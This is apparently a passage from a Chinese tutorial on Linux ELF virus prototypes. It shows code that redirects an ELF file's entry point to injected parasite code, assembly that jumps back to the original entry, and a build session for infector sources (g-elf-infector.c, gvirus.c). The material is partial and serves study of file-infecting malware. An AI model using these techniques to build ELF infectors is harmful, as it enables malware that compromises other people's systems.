关于Linux操作系统病毒的原型分析 （2）

　　p_align
　　As ``Program Loading'' later in this part describes, loadable
　　process segments must have congruent values for p_vaddr and
　　p_offset, modulo the page size.

　　/* Modify the entry point of the ELF */
　　org_entry = ehdr->e_entry;
　　ehdr->e_entry = phdr[txt_index].p_vaddr + phdr[txt_index].p_filesz;

　　
　　__asm__ volatile (
　　...
　　"return:\n\t"
　　"push $0xAABBCCDD\n\t" /* push ret_addr */
　　"ret\n"
　　::);

　　
　　grip2@linux:~/tmp/virus> ls
　　g-elf-infector.c gsyscall.h gunistd.h gvirus.c gvirus.h 
    foo.c Makefile parasite-sample.c parasite-sample.h

　　grip2@linux:~/tmp/virus> cat Makefile
　　all: foo gei
　　gei: g-elf-infector.c gvirus.o
　　gcc -O2 $< gvirus.o -o gei -Wall #-DNDEBUG
　　foo: foo.c
　　gcc $< -o foo
　　gvirus.o: gvirus.c
　　gcc $< -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
　　clean:
　　rm *.o -rf
　　rm foo -rf
　　rm gei -rf

　　grip2@linux:~/tmp/virus> make
　　gcc foo.c -o foo
　　gcc gvirus.c -O2 -c -o gvirus.o -fomit-frame-pointer -Wall #-DNDEBUG
　　gcc -O2 g-elf-infector.c gvirus.o -o gei -Wall #-DNDEBUG